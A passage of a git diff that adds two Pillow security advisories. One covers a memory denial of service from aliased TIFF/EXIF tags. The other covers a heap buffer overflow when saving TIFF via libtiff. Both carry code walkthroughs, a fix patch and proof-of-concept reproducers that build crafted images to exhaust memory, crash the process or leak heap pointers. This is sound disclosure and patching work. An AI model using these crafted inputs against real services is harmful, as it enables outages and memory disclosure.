diff --git a/data/PyPI/GHSA-wqgw-9xfh-qf2g.json b/data/PyPI/GHSA-wqgw-9xfh-qf2g.json new file mode 100644 index 0000000000..519be0816d --- /dev/null +++ b/data/PyPI/GHSA-wqgw-9xfh-qf2g.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-wqgw-9xfh-qf2g","published":"2026-11-12T23:35:39Z","modified":"2026-11-12T23:45:03.298534910Z","aliases":["CVE-2026-128066"],"summary":"Pillow: Memory DoS in TIFF and EXIF IFD parsing via overlapping tag data","details":"```\n============================================================================\nANT-2026-D7STJUWL [medium] CWE-770 dos\nMemory DoS in TIFF and EXIF IFD parsing via overlapping tag data\nLocation: src/PIL/TiffImagePlugin.py:927 in ImageFileDirectory_v2.load()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA small, crafted image file can make Pillow use thousands of times its own size in memory while the file is only being opened, which lets anyone who can submit an image crash or stall the process handling it. A 144 KB TIFF makes `Image.open()` return normally while holding 1.6 GiB of memory. The largest such standard TIFF, about 786 KB, asks for roughly 48 GiB, which in practice gets the worker killed by the operating system. The file declares a 1×1 image, so the decompression-bomb check never triggers and no warning is raised. There is no memory corruption; the impact is denial of service.\n\nThe bug is in `ImageFileDirectory_v2.load()` in `src/PIL/TiffImagePlugin.py` (around line 927). For every directory entry whose value is stored elsewhere in the file, it reads that value into a new `bytes` object with `ImageFile._safe_read(fp, count * unit_size)` and keeps it in `_tagdata`. `_safe_read()` only checks that the bytes exist. Nothing limits the total read across entries, and nothing stops every entry from pointing at the same bytes. An attacker can therefore give each of N distinct private tags an offset and count that covers the whole file, at a cost of 12 bytes per entry. Memory grows as N × file size, which is quadratic in the file size, and BigTIFF removes the 65,535-entry ceiling.\n\nThe same loop parses EXIF data, so the problem reaches beyond TIFF:\n\n* A 66 KB JPEG APP1 segment costs about 340 MiB inside `Image.open()` itself, via `_read_dpi_from_exif()`.\n* A 96 KB PNG `eXIf` chunk costs 754 MiB on `getexif()` or `ImageOps.exif_transpose()`.\n* WebP EXIF and MPO reach the same code.\n\nThe attached reproducer builds a 72 KB TIFF and a 72 KB PNG. Using only `Image.open()` and `getexif()`, each causes 412 MiB of tag data to be retained, about 6,000 times the file size. The loop dates to the original PIL 1.1.7 import, so every Pillow release since 1.0 is affected.\n\n## Details\n\n`TiffImagePlugin.ImageFileDirectory_v2.load()` reads the out-of-line value of every IFD entry into its own `bytes` object and keeps it in `self._tagdata`. Nothing bounds the sum of those reads, and nothing prevents every entry from pointing at the same region of the file. An IFD with N entries whose `(offset, count)` each cover the whole file therefore costs N × filesize bytes of memory, while the IFD itself costs only 12 bytes per entry. This one loop is the IFD parser for TIFF frames and for `Image.Exif` alike, so it is reachable from `Image.open()` on a TIFF or JPEG and from `getexif()` / `ImageOps.exif_transpose()` on PNG, JPEG, WebP and MPO.\n\nObserved on the stock build at this commit: a valid 144,110-byte 1×1 greyscale TIFF with 12,000 such entries makes `Image.open()` return normally (no exception, no warning, 1 declared pixel so `MAX_IMAGE_PIXELS` is irrelevant) after 1.5 s, with the process RSS grown from 15 MiB to 1,671 MiB and `im.tag_v2` holding 1,649 MiB of tag data for as long as the image object lives. The same IFD placed in the `eXIf` chunk of a 96 KB PNG makes `im.getexif()` retain 754 MiB. A 65,870-byte JPEG whose APP1 `Exif` segment is such an IFD (5,400 entries × 65,519 bytes) allocates ~340 MiB inside `Image.open()` itself, with no further call.\n\n```python\n# src/PIL/TiffImagePlugin.py:902-946 (ImageFileDirectory_v2.load)\nfor i in range(tag_count):\n tag, typ, count, data = ( … self._unpack(\"HHL4s\", self._ensure_read(fp, 12)))\n …\n size = count * unit_size # 918: attacker-chosen\n if size > (8 if self._bigtiff else 4):\n here = fp.tell()\n (offset,) = self._unpack(\"Q\" if self._bigtiff else \"L\", data)\n …\n fp.seek(offset) # 926: attacker-chosen\n data = ImageFile._safe_read(fp, size) # 927: new bytes object of `size`\n fp.seek(here)\n …\n self._tagdata[tag] = data # 945: kept\n self.tagtype[tag] = typ\n```\n\n`ImageFile._safe_read()` only guarantees that `size` bytes are actually present in the stream (it reads in `SAFEBLOCK` chunks and raises on truncation); it is a guard against allocating for data that does not exist, not against reading the same existing data many times. For a well-formed file each entry points at its own disjoint value, so the total read is at most the file size. For the crafted file every one of the N entries has a distinct tag number (so none overwrites another in `_tagdata`), type BYTE, `count = filesize - 1` and `offset = 1`; each iteration allocates and fills a fresh `filesize - 1`-byte object and stores it. `load()` does not care whether the tag number is known or whether the type makes sense for it; any 16-bit tag number and any type in `_load_dispatch` is accepted. Memory is `N × filesize`, and since `filesize ≈ 12 N`, it is quadratic in the file size: 12,000 entries / 144 KB → 1.6 GiB (measured); the classic-TIFF maximum of 65,535 entries / 786 KB → ~48 GiB; BigTIFF (`tag_count` is a `Q`) has no 16-bit entry limit at all.\n\nReachability:\n\n- TIFF: `TiffImageFile._open()` (`TiffImagePlugin.py:1187`) → `self._seek(0)` (`:1210`) → `self.tag_v2.load(self.fp)` (`:1258`, and again at `:1271`). This runs inside `Image.open()`, before `load()` and before any size check (`_decompression_bomb_check` only looks at `width × height` and is satisfied by the 1×1 image), and the resulting directory stays referenced as `im.tag_v2`. `_seek()` parses the IFD twice, but `reset()` drops the first copy, so the peak does not double; it is paid again for every frame on `seek()`/`n_frames`.\n- EXIF in other formats: `Image.Exif.load()` / `load_from_fp()` / `_get_ifd_dict()` (`Image.py:4146-4196`, `:4119-4133`) wrap the same `ImageFileDirectory_v2.load()` around the EXIF blob. `PngImagePlugin.chunk_eXIf` (`PngImagePlugin.py:697`) stores the whole chunk as `info[\"exif\"]`, `JpegImagePlugin` concatenates APP1 `Exif` segments into `info[\"exif\"]` (`JpegImagePlugin.py:114-117`), and WebP exposes its EXIF chunk the same way; `im.getexif()`, `ImageOps.exif_transpose()` and `_getexif()` then parse it and keep the values in `im._exif`. For JPEG no explicit call is needed: `JpegImageFile._open()` ends with `self._read_dpi_from_exif()` (`JpegImagePlugin.py:413`), which calls `getexif()` whenever no JFIF DPI is present, so the APP1 IFD is parsed during `Image.open()`. Note that an EXIF blob is parsed into several IFDs (main, EXIF, GPS, Interop via `_get_ifd_dict`), each through its own `load()` call.\n\nThe only failure path in `load()` is `except OSError` → warning; running out of memory is not an `OSError`, so on Linux the realistic outcome for a larger N is the kernel OOM killer terminating the process rather than a Python exception.\n\nThe loop predates Pillow: it came in with the PIL 1.1.7 import in `9a640e315715` (\"Forking PIL\", 2010-07-30) and was carried over unchanged into `ImageFileDirectory_v2`, so every release since 1.0 is affected. The per-tag `_safe_read` bounding added in the CVE-2019-16865 era does not address the sum.\n\n## Impact\n\nAny service that calls `Image.open()` on an uploaded TIFF or JPEG — or `getexif()` / `ImageOps.exif_transpose()` on an uploaded PNG, JPEG or WebP, which thumbnailers routinely do to honour orientation — can be made to allocate and retain memory roughly `entries × filesize`, i.e. thousands of times the upload size, from a file of a few hundred KB that declares a 1×1 image and passes the decompression-bomb check. A ~800 KB TIFF requests ~48 GiB; in practice the worker (or its container) is OOM-killed within seconds, taking down all requests it was serving, and repeated uploads keep it down. No pixel decoding, `load()`, or further API call is required for the TIFF and JPEG cases, `MAX_IMAGE_PIXELS` does not apply, and no `DecompressionBomb*` warning gives the application a chance to refuse the file. There is no memory corruption; the effect is denial of service of the process handling the input.\n\nThis is the same class as CVE-2021-27921/27922/27923 (BLP/ICNS/ICO \"arbitrarily large memory allocations\" from unchecked reported sizes, fixed in 8.1.2) and CVE-2021-28675 (PSD layer count not checked against the data size, DoS on `Image.open()` prior to `load()`), here in the TIFF/EXIF directory parser shared by several formats.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the stock Pillow in `/src`; nothing is compiled. It needs about 1 GB of free RAM (it caps its own address space at 4 GiB so that a larger run ends in `MemoryError` rather than the OOM killer).\n\n**Input.** `aliased_ifd()` builds, in memory, a little-endian classic TIFF: an 8-byte header, one IFD, nothing else. Every crafted entry is a private tag (1000 upwards) of type BYTE with `offset = 1` and `count = file size - 1`, i.e. each claims the whole file body as its value. Each costs 12 bytes in the file but a full file-sized read in `ImageFileDirectory_v2.load()`.\n\n**TIFF path.** The first file adds 8 ordinary tags (ImageWidth = ImageLength = 1, BitsPerSample = 8, no compression, BlackIsZero, one 1-byte strip pointing at a header byte) so that Pillow accepts it as a 1×1 `L` image, plus 6,000 aliased tags (72,110 bytes). Because the image is 1×1, `MAX_IMAGE_PIXELS` never comes into play. The script calls `Image.open()` on it and nothing else: no `load()`, no pixel access.\n\n**EXIF path.** The same 6,000-entry IFD (without the image tags) is passed as `exif=` when saving a 1×1 PNG, so it lands in an `eXIf` chunk; the script opens that PNG and calls `im.getexif()`, which is what `ImageOps.exif_transpose()` calls.\n\n**Check.** For each path the script reads `VmRSS` from `/proc/self/status` before and after, and adds up `len()` over the resulting directory's `_tagdata`. In a well-formed IFD each entry points at its own bytes, so the tag data can never be larger than the file. The script prints `BUG` if both the TIFF's `im.tag_v2` and the PNG's EXIF directory hold more than 2000× the size of their file, otherwise `OK`. On this commit each holds 412 MiB (~6000× the file) and RSS grows by about as much for each.\n\nThe memory cost is entries × file size, and the file size itself grows at 12 bytes per entry, so the cost is quadratic: doubling to 12,000 entries (144 KB) gives the 1.6 GiB quoted above, and the classic-TIFF maximum of 65,535 entries (~786 KB file) comes to ~48 GiB. A JPEG APP1 segment or a WebP EXIF chunk carrying the same IFD behaves like the PNG case (for JPEG, already during `Image.open()`).\n\n## Suggested fix\n\nThe attached patch bounds the out-of-line tag data a single `ImageFileDirectory_v2.load()` call may pull in by the length of the stream it reads from. The values of a well-formed IFD do not overlap, so their total can never exceed the file; only aliased entries can push past it. `load()` now measures the stream once on entry (`fp.seek(0, io.SEEK_END)`, then back to `self._offset`; `load()` already requires a seekable `fp`, since both the TIFF plugin and `Exif` do), keeps a running `total_size` of out-of-line values, and, before the `fp.seek(offset)` / `_safe_read()` at `TiffImagePlugin.py:926-927`, warns `\"Tag data larger than file. Skipping tag …\"` and `continue`s for any entry that would take the total past the file size, in the same warn-and-skip idiom as the existing \"Tag offset too large\" check. No fixed constant is introduced and no valid file changes behaviour, including TIFFs with very large Photoshop/ImageSourceData (tag 37724) payloads, which routinely exceed 64 MB. Because `Image.Exif`, the PNG/JPEG/WebP EXIF paths and MPO all go through this one method, they are covered too. The patch adds `test_tag_data_larger_than_file` to `Tests/test_file_tiff_metadata.py`, next to `test_tag_offset`. With it applied, both paths in the reproducer drop to 1× the file size. One visible side effect: a single oversize entry now skips that tag with this warning instead of aborting the rest of the IFD via the `OSError` path.\n\nA fixed module-level cap in the style of `PngImagePlugin.MAX_TEXT_MEMORY` (e.g. a 64 MiB `TiffImagePlugin.MAX_IFD_DATA`) would be the weaker alternative on its own: a 140 KB file could still retain ~63 MiB per IFD — and a JPEG's EXIF is parsed into several IFDs (main, EXIF, GPS, Interop), so a 66 KB APP1 segment could still request roughly 1000× its size — and legitimate TIFFs with more than 64 MiB of tag data would lose those tags with a warning. It could still be added on top of the stream-length check as a user-adjustable knob.\n\nAn alternative that removes the amplification entirely is to store `(offset, size)` in `_tagdata` and read lazily in `__getitem__`, which is what the class docstring already describes (\"we don't decode tags unless they're asked for\"); that is a larger change because `_tagdata` is shared with `ImageFileDirectory_v1` (`from_v2`/`to_v2`) and exposed as the legacy `tagdata` property, and lazy reads would need the file object to still be open when a tag is first accessed.\n\n## The patch\n\nSkip IFD entries once the total out-of-line tag data read by ImageFileDirectory_v2.load() would exceed the size of the stream\n\nApplies to `src/PIL/TiffImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_tiff_metadata.py b/Tests/test_file_tiff_metadata.py\nindex 7b35a0196..ccf923128 100644\n--- a/Tests/test_file_tiff_metadata.py\n+++ b/Tests/test_file_tiff_metadata.py\n@@ -500,6 +500,21 @@ def test_tag_offset() -> None:\n ifd.load(f)\n \n \n+def test_tag_data_larger_than_file() -> None:\n+ ifd = TiffImagePlugin.ImageFileDirectory_v2()\n+\n+ # Two BYTE tags that both claim the whole 30 byte IFD as their value\n+ tag_count = struct.pack(\" None:\n base_ifd = TiffImagePlugin.ImageFileDirectory_v2()\n interop_ifd = TiffImagePlugin.ImageFileDirectory_v2(group=40965)\ndiff --git a/src/PIL/TiffImagePlugin.py b/src/PIL/TiffImagePlugin.py\nindex 42c1cc96c..c9d506933 100644\n--- a/src/PIL/TiffImagePlugin.py\n+++ b/src/PIL/TiffImagePlugin.py\n@@ -892,6 +892,9 @@ class ImageFileDirectory_v2(_IFDv2Base):\n def load(self, fp: IO[bytes]) -> None:\n self.reset()\n self._offset = fp.tell()\n+ fp.seek(0, io.SEEK_END)\n+ file_size = fp.tell()\n+ fp.seek(self._offset)\n \n try:\n tag_count = (\n@@ -899,6 +902,7 @@ class ImageFileDirectory_v2(_IFDv2Base):\n if self._bigtiff\n else self._unpack(\"H\", self._ensure_read(fp, 2))\n )[0]\n+ total_size = 0\n for i in range(tag_count):\n tag, typ, count, data = (\n self._unpack(\"HHQ8s\", self._ensure_read(fp, 20))\n@@ -923,6 +927,16 @@ class ImageFileDirectory_v2(_IFDv2Base):\n if offset >= 2**63:\n warnings.warn(\"Tag offset too large\")\n continue\n+ # The values of a well-formed IFD do not overlap, so in\n+ # total they cannot be larger than the file they are read\n+ # from. Do not let entries that alias the same bytes load\n+ # many copies of it.\n+ total_size += size\n+ if total_size > file_size:\n+ warnings.warn(\n+ f\"Tag data larger than file. Skipping tag {tag}\"\n+ )\n+ continue\n fp.seek(offset)\n data = ImageFile._safe_read(fp, size)\n fp.seek(here)\n```\n\n## The reproducer\n\n
\nReproducer — repro, 2,254 bytes (click to open)\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# ImageFileDirectory_v2.load(): N IFD entries that all alias the file body make\n# Image.open() (TIFF) and getexif() (PNG eXIf etc.) retain ~N copies of the file.\n# Pure Python, stock Pillow in /src. Needs ~1 GB RAM, runs in ~1 s.\nimport io, struct, resource\nfrom PIL import Image\nresource.setrlimit(resource.RLIMIT_AS, (4 << 30, 4 << 30)) # MemoryError, not OOM-killer\n\ndef aliased_ifd(n_alias, real=()):\n \"\"\"Classic LE TIFF: header + one IFD. n_alias BYTE tags each cover the whole file.\"\"\"\n n = len(real) + n_alias\n size = 8 + 2 + 12 * n + 4\n ents = {t: struct.pack(\" Image.open() only\nreal = {256: (3, 1), 257: (3, 1), 258: (3, 8), 259: (3, 1), 262: (3, 1),\n 273: (4, 8), 278: (3, 1), 279: (4, 1)}\ntif = aliased_ifd(6000, real)\nr0 = rss(); im = Image.open(io.BytesIO(tif)); r1 = rss()\nheld_t = sum(len(v) for v in im.tag_v2._tagdata.values())\nprint(f\"TIFF {len(tif)} B, {im.size} {im.mode}: Image.open() keeps {held_t >> 20} MiB of tag data \"\n f\"({held_t // len(tif)}x file); RSS {r0 >> 20} -> {r1 >> 20} MiB\")\n\n# 2) Same IFD as EXIF in a 1x1 PNG -> im.getexif() (what ImageOps.exif_transpose calls)\nexif = aliased_ifd(6000)\nbuf = io.BytesIO(); Image.new(\"L\", (1, 1)).save(buf, \"PNG\", exif=exif); png = buf.getvalue()\nr0 = rss(); im2 = Image.open(io.BytesIO(png)); e = im2.getexif(); r1 = rss()\nheld_e = sum(len(v) for v in e._info._tagdata.values()) if e._info is not None else 0\nprint(f\"PNG {len(png)} B: getexif() keeps {held_e >> 20} MiB ({held_e // len(png)}x file); \"\n f\"RSS {r0 >> 20} -> {r1 >> 20} MiB\")\n\n# A well-formed IFD's values cannot exceed the stream they come from (1x).\nprint(\"BUG\" if held_t > 2000 * len(tif) and held_e > 2000 * len(png) else \"OK\")\n```\n
\n\n---","affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.0.0"}]}],"versions":["1.0","1.1","1.2","1.3","1.4","1.5","1.6","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","2.0.0","2.1.0","2.2.0","2.2.1","2.2.2","2.3.0","2.3.1","2.3.2","2.4.0","2.5.0","2.5.1","2.5.2","2.5.3","2.6.0","2.6.1","2.6.2","2.7.0","2.8.0","2.8.1","2.8.2","2.9.0","3.0.0","3.1.0","3.1.0.rc1","3.1.0rc1","3.1.1","3.1.2","3.2.0","3.3.0","3.3.1","3.3.2","3.3.3","3.4.0","3.4.1","3.4.2","4.0.0","4.1.0","4.1.1","4.2.0","4.2.1","4.3.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.4.0.dev0","5.4.1","6.0.0","6.1.0","6.2.0","6.2.1","6.2.2","7.0.0","7.1.0","7.1.1","7.1.2","7.2.0","8.0.0","8.0.1","8.1.0","8.1.1","8.1.2","8.2.0","8.3.0","8.3.1","8.3.2","8.4.0","9.0.0","9.0.1","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"last_known_affected_version_range":"<= 12.3.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-wqgw-9xfh-qf2g/GHSA-wqgw-9xfh-qf2g.json"}}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-wqgw-9xfh-qf2g"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/4908edaf7f416616784c7c03d8c1a60153710ffb"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/4b63dffd8a6d980fa0e21b40832fa6cbf033eacf"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T23:35:39Z","nvd_published_at":null,"severity":"MODERATE"}} \ No newline at end of file diff --git a/data/PyPI/GHSA-xcvg-w56q-r89m.json b/data/PyPI/GHSA-xcvg-w56q-r89m.json new file mode 100644 index 0000000000..d9a5a43554 --- /dev/null +++ b/data/PyPI/GHSA-xcvg-w56q-r89m.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-xcvg-w56q-r89m","published":"2026-11-12T23:34:43Z","modified":"2026-11-12T23:45:03.322245161Z","aliases":["CVE-2026-128067"],"summary":"Pillow: Heap buffer overflow saving TIFF with libtiff when tags override image size","details":"```\n============================================================================\nANT-2026-CS7N494P [high] CWE-787 memory-safety\nHeap buffer overflow saving TIFF with libtiff when tags override image size\nLocation: src/libImaging/TiffDecode.c:1035 in ImagingLibTiffEncode()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen Pillow saves an image as a compressed TIFF, size information taken from the image's metadata can make the encoder read past the end of a heap buffer. Someone who uploads an image can use this to get the server process's memory, including pointers, copied into the saved file, or to crash the process. When the metadata also enables TIFF \"Predictor=2\" compression, the encoder writes past the buffer instead, corrupting the heap and aborting the process. This affects applications that write TIFF through libtiff (any `compression=` other than raw) and either carry the source metadata across with `exif=im.getexif()` / `tiffinfo=`, or simply re-save a crafted palette TIFF with `Image.open(f).save(out, \"TIFF\")`, which inherits its compression and predictor from the upload.\n\nIn `TiffImagePlugin._save`'s libtiff branch, only `BitsPerSample` is pinned to the real image when the tag list for the encoder is built (`src/PIL/TiffImagePlugin.py:1955`). `ImageWidth`, `ImageLength` and `PlanarConfiguration` are set from `im.size` but are then overwritten by the `exif=`/`tiffinfo=` merge loop at `:1768-1772`. `SamplesPerPixel` is never set for single-band modes, so a value from the caller's tags or from the source TIFF's own IFD reaches `TIFFSetField`. `ImagingLibTiffEncode` then passes a row buffer sized from the actual image (`src/encode.c:291`) to `TIFFWriteScanline` (`src/libImaging/TiffDecode.c:1035`) with no check against `TIFFScanlineSize()`, and libtiff consumes a full scanline of the tag-described width from it.\n\nThe attached reproducer demonstrates the read case. A 64x4 greyscale JPEG whose EXIF says `SamplesPerPixel=3, Photometric=RGB` is converted into a valid RGB TIFF in which 128 bytes of each row are live heap, including pointers that change from run to run. The same JPEG with EXIF `ImageWidth=2**27` kills the process with SIGSEGV. For the write case, the values written are byte-wise differences of existing heap contents rather than attacker-chosen data, and nothing beyond the observed glibc abort is shown. The `tiffinfo=` route dates back to Pillow 2.3.0 (`dbf47837ce99`), and the `exif=` route to 8.4.0 (`c0f619384cbc`).\n\n## Details\n\nWhen an image is saved as TIFF through the libtiff encoder (any `compression=` other than raw, or `TiffImagePlugin.WRITE_LIBTIFF`), libtiff sizes its scanline from the `ImageWidth` / `SamplesPerPixel` / `BitsPerSample` / `PlanarConfiguration` tags it was handed, Pillow sizes the encoder row buffer from the real image, and nothing compares the two. In `TiffImagePlugin._save`'s libtiff branch only `BitsPerSample` is pinned in the attribute dict given to the encoder (`atts`, `src/PIL/TiffImagePlugin.py:1955-1982`); the other geometry tags can come from caller- or attacker-supplied data:\n\n- `ImageWidth` (256), `ImageLength` (257) and `PlanarConfiguration` (284) are set from `im.size` *before* the `tiffinfo=` / `exif=` merge loop at `:1768-1772`, so they are overwritten by it — by the EXIF of an uploaded JPEG, or by stale geometry in `im.getexif()` / `im.tag_v2` of a TIFF that Pillow auto-transposed on load (Orientation tag) or that the application `thumbnail()`ed.\n- `SamplesPerPixel` (277) is only put in the IFD for multi-band modes (`:1847-1850`), so for single-band images (`L`, `P`, `I;16`, `1`, …) a value from `exif=` / `tiffinfo=`, or from the *source TIFF's own IFD* via `supplied_tags` (`im.tag_v2`, `:1782`), is forwarded to libtiff. A palette TIFF with `SamplesPerPixel=2, BitsPerSample=(8,8), ExtraSamples=(0,)` opens as mode `P` (rawmode `PX`, extra sample dropped), and a bare `im.save(out, \"TIFF\")` — no save arguments; `compression` and `Predictor` are inherited from the source — already makes libtiff process `2*width` bytes per row from a `width`-byte buffer.\n\n`ImagingLibTiffEncode` then hands the image-sized row buffer to `TIFFWriteScanline`, and libtiff reads one scanline of the *tag-described* geometry out of a buffer holding one row of the *actual* image. With `Predictor = 2` (also forwarded from `tiffinfo=` / `im.tag_v2`) libtiff's horizontal differencing first rewrites the whole scanline **in place**, so the over-read becomes an out-of-bounds heap **write** on every row.\n\nThe tags do not have to be supplied deliberately by the application: `im.getexif()` of an uploaded JPEG returns whatever IFD0 tags the file carries, and the common metadata-preserving conversion\n\n```python\nim = Image.open(uploaded_jpeg) # 64x4, mode \"L\"\nim.save(out, \"TIFF\", exif=im.getexif(), compression=\"tiff_lzw\")\n```\n\nbehaves as follows on the stock build at this commit:\n\n- EXIF IFD0 `{277: 3, 262: 2}` (SamplesPerPixel=3, Photometric=RGB): the save succeeds and `out` is a 64x4 **RGB** TIFF. Re-opening it, the first 64 bytes of every 192-byte row are the image (0x11 fill); the remaining 128 bytes are heap that followed the 64-byte row buffer — e.g. `... 807a97e6527f0000 ... f03632e5527f0000 40832ee5527f0000` (x86-64 heap pointers), different on every run.\n- EXIF IFD0 `{256: 1<<27}` (ImageWidth=2^27): the process dies with SIGSEGV; gdb shows `TIFFWriteScanline (libtiff.so.6) ← ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1035) ← _encode (src/encode.c:139)`.\n- valgrind on the first case: `Invalid read of size 1 … TIFFWriteScanline … by ImagingLibTiffEncode … Address is 0 bytes after a block of size 64 alloc'd at calloc by _setimage`.\n- Control: the same JPEG with an EXIF holding only `Software` produces a 64x4 `L` TIFF whose 256 pixel bytes are all 0x11.\n\nThe write variant needs nothing more than a well-formed 222-byte TIFF and the `exif=im.getexif()` idiom the project's own tests use (`Tests/test_file_tiff.py::test_exif`, `test_modify_exif`); the interpreter dies with glibc's `free(): invalid next size (fast)` (SIGABRT):\n\n```python\nfrom PIL import Image; import io\nb = io.BytesIO()\nImage.new(\"RGB\", (64, 4)).save(b, \"TIFF\", compression=\"tiff_lzw\", tiffinfo={274: 6, 317: 2}) # Orientation=6, Predictor=2\nim = Image.open(io.BytesIO(b.getvalue())); im.load() # auto-transposed to 4x64; tag_v2/getexif() still say 64x4\nim.save(io.BytesIO(), \"TIFF\", exif=im.getexif()) # or tiffinfo=im.tag_v2\n```\n\nHere libtiff processes 192-byte rows (64 px × 3 samples) from the 12-byte buffer `_setimage` allocated for a 4-pixel RGB row, and `PredictorEncodeRow` rewrites the 180 heap bytes that follow it on each of 64 rows; valgrind on a `-g` build reports `Invalid write of size 1 … TIFFWriteScanline … by ImagingLibTiffEncode (TiffDecode.c:1035) … Address is 0 bytes after a block of size 12 alloc'd … by _setimage (encode.c:293)`. `im.thumbnail((8, 8))` before the save instead of the Orientation tag reaches the same state, as does the purely programmatic `Image.new(\"RGB\", (128, 32)).save(fp, \"TIFF\", compression=\"tiff_lzw\", tiffinfo={256: 1024, 257: 128, 317: 2})` (SIGSEGV). For the source-IFD `SamplesPerPixel` route, a crafted <2 KB palette `PX` TIFF with `Compression = LZW, Predictor = 2` kills the stock build on a bare `Image.open(f).save(out, \"TIFF\")`; with a predictor-less codec the same re-save returns normally with `width` bytes of heap per row encoded into the output.\n\n### Walk-through\n\n`_save` seeds the output IFD from the image and then copies the caller's tags over it:\n\n```python\n# src/PIL/TiffImagePlugin.py\n1746 libtiff = WRITE_LIBTIFF or compression != \"raw\"\n1749 ifd[PLANAR_CONFIGURATION] = 1\n1751 ifd[IMAGEWIDTH] = im.size[0]\n1752 ifd[IMAGELENGTH] = im.size[1]\n …\n1757 elif \"exif\" in encoderinfo:\n1758 info = encoderinfo[\"exif\"] # Image.Exif, or bytes → Exif\n …\n1768 for key in info:\n …\n1772 ifd[key] = info.get(key) # 256/257/277/262/284/317 … overwrite the above\n```\n\nThe geometry is only partially re-asserted afterwards: `BITSPERSAMPLE` is always set, but `SAMPLESPERPIXEL` only for multi-band modes and `IMAGEWIDTH`/`IMAGELENGTH` never:\n\n```python\n1847 if bits != (1,):\n1848 ifd[BITSPERSAMPLE] = bits\n1849 if len(bits) != 1:\n1850 ifd[SAMPLESPERPIXEL] = len(bits) # not reached for L, P, I, F, I;16 …\n1856 if PHOTOMETRIC_INTERPRETATION not in ifd: # supplied value kept\n```\n\nIn the libtiff branch every IFD entry that is not block-listed — and, after the IFD, every entry of `supplied_tags` (the source file's `im.tag_v2`) not already present — becomes a `TIFFSetField` argument. The only tag pinned to the image's real value is `BITSPERSAMPLE`:\n\n```python\n1955 atts: dict[int, Any] = {BITSPERSAMPLE: bits[0]}\n1959 for tag, value in itertools.chain(ifd.items(), supplied_tags.items()):\n …\n1976 if tag not in atts and tag not in blocklist:\n … atts[tag] = value\n2002 encoder = Image._getencoder(im.mode, \"libtiff\", a, encoderconfig)\n2003 encoder.setimage(im.im, (0, 0, *im.size))\n```\n\nFor the SamplesPerPixel=3 example the tag list passed to the encoder is `[(256, 64), (257, 4), (258, 8), (259, 5), (262, 2), (277, 3), (278, 4), (284, 1)]`; for the ImageWidth example it is `[(256, 134217728), (257, 4), (258, 8), …]`. 256 and 277 are in `core_tags` (`src/encode.c:694`), so `PyImaging_LibTiffEncoderNew` forwards them straight to `TIFFSetField`. For a single-band image `SAMPLESPERPIXEL` is absent from `ifd`, so the loop takes tag 277 from `supplied_tags` — the source TIFF's IFD — when one is present; the `PLANAR_CONFIGURATION == 2` adjustment at `:1783-1788` already compensates for this for separate-planes sources, the contiguous `PX` layout is the remaining case.\n\n`encoder.setimage` sizes the packer's row buffer from the real image — 64 bytes for a 64-pixel `L` row:\n\n```c\n/* src/encode.c, _setimage */\n287 if (state->bits > 0) {\n291 state->bytes = (state->bits * state->xsize + 7) / 8;\n293 state->buffer = (UINT8 *)calloc(1, state->bytes);\n```\n\nand `ImagingLibTiffEncode` packs one image row into it and gives the pointer to libtiff with no length:\n\n```c\n/* src/libImaging/TiffDecode.c */\n1027 while (state->y < state->ysize) {\n1028 state->shuffle(state->buffer, (UINT8 *)im->image[state->y + state->yoff] + …, state->xsize);\n1035 if (TIFFWriteScanline(tiff, (tdata_t)(state->buffer), (uint32_t)state->y, 0) == -1) {\n```\n\n`TIFFWriteScanline` consumes `TIFFScanlineSize()` bytes, i.e. `ImageWidth * SamplesPerPixel * BitsPerSample / 8` as set through the tags. Nothing between `_save` and line 1035 compares that with `state->bytes`. With SamplesPerPixel=3 libtiff reads 192 bytes from the 64-byte block and LZW-encodes the trailing 128 heap bytes into the strip; with ImageWidth=2^27 it reads 128 MiB starting at the 64-byte block and faults. With `Predictor = 2`, libtiff's `PredictorEncodeRow` first runs horizontal differencing in place over the whole scanline (`bp[i] -= bp[i-stride]`), i.e. it rewrites the heap bytes that follow the block before encoding them; libtiff grows `ImageLength` as rows beyond the declared count are written, so every row of the real image goes through. A `PlanarConfiguration = 2` carried over from a planar source reaches libtiff by the same route; there libtiff's scanline (one sample plane) is shorter than Pillow's row, so the result is an undecodable file rather than an out-of-bounds access.\n\nThe non-libtiff path (`compression` absent/raw) is not affected: it goes through `ImagingRawEncode`, which treats the IFD-derived stride as padding and either zero-fills or fails with `IMAGING_CODEC_CONFIG` (`src/libImaging/RawEncode.c:34-37,57-59`). Overriding `IMAGEWIDTH`/`IMAGELENGTH` through `tiffinfo` on that path is an intended feature (`Tests/test_file_tiff.py::test_tiff_chunks`).\n\nThe `exif=` route was introduced in `c0f619384cbc` (\"Added \"exif\" keyword argument to save Image.Exif instance\", 2021-07-04), first released in 8.4.0. The same override through `tiffinfo=` is older: it dates back to `dbf47837ce99` (\"Add arbitrary tags to tiff images using an ImageFileDirectory\", 2013-10-02, first in 2.3.0). The 